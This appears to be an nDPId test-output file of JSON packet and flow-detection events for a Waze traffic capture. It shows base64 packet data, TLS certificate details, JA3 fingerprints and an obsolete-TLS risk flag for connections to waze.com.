+00410{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":537747,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoKgNAAEAG7zgKCAABsCJnacdqAbskTkf\/27G+EFAQ\/\/+\/CgAA"} +03254{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":688799,"pkt_caplen":2165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2165,"pkt_l4_len":2131,"pkt":"ABoRAAACABoRAAABCABFAAhndOZAABAGzBawImdpCggAAQG7x2vs+nU0EwWQ21AY\/\/8xhwAAVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEBSwwAAUcDABdBBOgmktKs2u8KZlermTQ1uo4DJTwO1l81HZU2UEEh3Ngme4s26QuzUjA7qcwVyCM1XqEq6UQVV34bM+n6Wr2h2E0BAJLfa35ghbxmR2cOGeSxQ0QIBKsOjB4LFUFw7fdneS6XtoSfgXl26vJDz87ynp2qyipRikKGn6hf7+ViGycvsK4BKr8tgesZPGaHKiSrsCEvq3USRDsjqReE78pN7OZEOFqhdRudu6KIfOhaywGfAxUa05+8yNCVsyOwa\/A7LpeIMgrxCzOgOyyw8PqpXvOss+OHVfdN9+RSV+45P85\/cc\/9KH1eiEoD3pDTNiyl6THghmR7M2FrOD62YcUvzU9rOxpB09SWOhaKo+FBvDJdBf14ghLyVsYbIHmBZqkUP2W5pFDX4kBUZOAFIUnT8dGgcFJ9sIuZ56ZDaEYSOiPuyVoWAwEABA4AAAA="} +01032{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":249,"source":"waze.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":8,"flow_first_seen":1435587871935,"flow_last_seen":1435587873688,"flow_tot_l4_data_len":3841,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2131,"flow_avg_l4_data_len":480,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51051,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.waze.com","fingerprint":"A9:35:F0:16:17:A3:FD:73:EC:0C:03:24:F8:34:5A:8A:B3:D7:8D:57"}} +00409{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":740336,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo\/XBAAEAGG8sKCAABsCJnacdrAbsTBZDb7Pp9c1AQ\/\/+2ygAA"} +03259{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":741385,"pkt_caplen":2165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2165,"pkt_l4_len":2131,"pkt":"ABoRAAACABoRAAABCABFAAhndOdAABAGzBWwImdpCggAAQG7x2rbsb4QJE5H\/1AY\/\/+oRwAAVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEBSwwAAUcDABdBBOgmktKs2u8KZlermTQ1uo4DJTwO1l81HZU2UEEh3Ngme4s26QuzUjA7qcwVyCM1XqEq6UQVV34bM+n6Wr2h2E0BAAyZl+rWcTq+gkByVq0iJpxicN\/c8gLvTI9h3iA0lJs+7H925BdJCDqJZHMEIJ3esa2CF6kTJ9hEd\/QqabHGg4SfSn1UAaJIv4qDcn1HTyjms\/BrUiYh3cK4RsVRWUeOiOoBaXy5RfCoT9IOGJnrNTRyfld0yOTZXuDjwcFD9un4dqM4gtM\/rDF+FzvLBDOjoY91Q0xJEqZaGq7nGfncCC6PwjeOa0pzp6YCla8LUtvwIWVVkpnr8xS0aHf5bvqDy7YNCXU7in7B\/CJujsRE7\/VZ3N76zpwAoiPaEKmBKGxf8c1QC\/U6j7Dtp9aGpPMUFuaTejIJ9172rX4WLjSMHNoWAwEABA4AAAA="} +01032{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":251,"source":"waze.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":8,"flow_first_seen":1435587871929,"flow_last_seen":1435587873741,"flow_tot_l4_data_len":3841,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2131,"flow_avg_l4_data_len":480,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51050,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.waze.com","fingerprint":"A9:35:F0:16:17:A3:FD:73:EC:0C:03:24:F8:34:5A:8A:B3:D7:8D:57"}} +00595{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":743733,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACu\/XFAAEAGG0QKCAABsCJnacdrAbsTBZDb7Pp9c1AY\/\/80TQAAFgMBAEYQAABCQQT\/dwBvETwxF8HCpQtNfsy8UrBBkbpcvUx4LvSTxKGyAUCgZo9OVa0V\/y4wB6KRUILtO1k82Zb3KCobi7iLg3GAFAMBAAEBFgMBADDJbwDESrOZXymXXCSDJzCaZl3p39KOFCGEfB5Zg+YJsK4+c+l5667V8OaYTl16zUU="} +00409{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":744300,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodOhAABAG1FOwImdpCggAAQG7x2vs+n1zEwWRYVAQ\/\/+2RAAA"} +02255{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":744588,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdOlAABAGzvqwImdpCggAAQG7x2kFCOeX+vceeFAY\/\/\/xTwAAVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hx"} +00409{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":745035,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoKgRAAEAG7zcKCAABsCJnacdqAbskTkf\/27HGT1AQ\/\/+2ywAA"} +00408{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":745477,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocI1AAEAGqK4KCAABsCJnacdpAbv69x54BQjs71AQ\/\/+5swAA"} +00595{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":760555,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACuKgVAAEAG7rAKCAABsCJnacdqAbskTkf\/27HGT1AY\/\/95\/AAAFgMBAEYQAABCQQROUM1uiCLwwKaXy2KRRtyKZIVEuVzHlbhIL+ms7vSt+oSppVmAXIUUzS8nKGP3JUwTEvG+4qsrGNXSe6ECCKbpFAMBAAEBFgMBADANtdwInvgahyrPlspZUkV4\/RFs9lNcNWRKeIqOCf4x3cfoGGZmfUhCbZSaV01Pol8="} +00409{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":760906,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodOpAABAG1FGwImdpCggAAQG7x2rbscZPJE5IhVAQ\/\/+2RQAA"} +00725{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":981630,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdOtAABAG02awImdpCggAAQG7x2vs+n1zEwWRYVAY\/\/92SgAAFgMBAKoEAACmAAABLACgZYyyhW1E1RrNGRvl3ohq15hOzXQwRcZM5ah1JdAdPli+e6t5WhI8kTG4RfzskAjo0sqZLiFziKd2x50ZcB8K9Cc5DL1WPuPDLvTg0khkAXBrYT5cg10D6DA+J1fpQQfjEyo2Ui8Kj5nQtNZl+tQlHSWpQ3MHmPjvNsZ5FVLrdUXt\/aBp7hS9Y+cqGs2xBbEW152AZoIqJjEISsgkQph6aRQDAQABARYDAQAwECRq5jnIQDHMQsW2olrfgLmBpyA80HhVPem7iKYN7MmU5ZX9FaQFdQkSuoyWFYyC"} +00766{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":32523,"pkt_caplen":315,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":315,"pkt_l4_len":281,"pkt":"ABoRAAACABoRAAABCABFAAEt\/XJAAEAGGsQKCAABsCJnacdrAbsTBZFh7Pp+XVAY\/\/8SGQAAFwMBAQA2cWNxhmFZ1d05ru4JHvr0OIL2iGaMKnI94EwzC2yQE540T3A0JIAAzhceoCMTYb5\/FzVOQOUp43HXJdX2fspdo3fP2gytqtdEdOv7A0UWBQWLY+UsoOPPb02RFGzSv3y492ODg9wFQHzh9Nc24nSDFIUaqQ0iqf8EN7mLYSOuUstK6UxxwhTv0\/DgBEBNRguxwahy2dXT8G77M2loXu4JnRhb4QWJtjV4yH4at8J\/Jk12WXQTRFwqxLExNz6ZlbtXVRxRETsgG\/OSmCDW2M0kfD7OsEeES+UP\/SXAguG6Dbe1lZFu339\/2ueaBYBhQnAyPfiyro2ryd9vwfYU6xX+"} +00408{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":32938,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodOxAABAG1E+wImdpCggAAQG7x2vs+n5dEwWSZlAQ\/\/+0VQAA"} +01412{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":33211,"pkt_caplen":797,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":797,"pkt_l4_len":763,"pkt":"ABoRAAACABoRAAABCABFAAMPdO1AABAG0WewImdpCggAAQG7x2kFCOzv+vceeFAY\/\/9lsgAAa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEBSwwAAUcDABdBBOgmktKs2u8KZlermTQ1uo4DJTwO1l81HZU2UEEh3Ngme4s26QuzUjA7qcwVyCM1XqEq6UQVV34bM+n6Wr2h2E0BAM9mz+LbaVNoYtO4IQOXwlBRJ7ns\/DVBy6Zp9NlScUu3WYIkc4O3zqqgw24BWnyGCxjh8xj9BsrAgSinwrLnA7UuugPOJojDJlj0+86ZDDTnmP9bkqHXfjekY5ITVwsi\/FERZ0crVkWxdN9pDkwpl\/39efL8IzIGD1WGtbsj+bpmC74d8rW8QAvO1WL1DgqRhY\/ZSmG7RD1GL6w+y78+trf3u0ucvXYnWH1yflQu0xz+m+zgvO7x4ee945eez+NnKZJ2HNdtCTS8N83CURDylnsbcrSjeZWw9842LQXJHAJuDkayPcXDayY7Q0wCJ3ErevanCQnnyPtOCzFTctUPvdsWAwEABA4AAAA="} +01033{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":262,"source":"waze.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":10,"flow_first_seen":1435587871918,"flow_last_seen":1435587874033,"flow_tot_l4_data_len":3881,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1388,"flow_avg_l4_data_len":388,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51049,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.waze.com","fingerprint":"A9:35:F0:16:17:A3:FD:73:EC:0C:03:24:F8:34:5A:8A:B3:D7:8D:57"}} 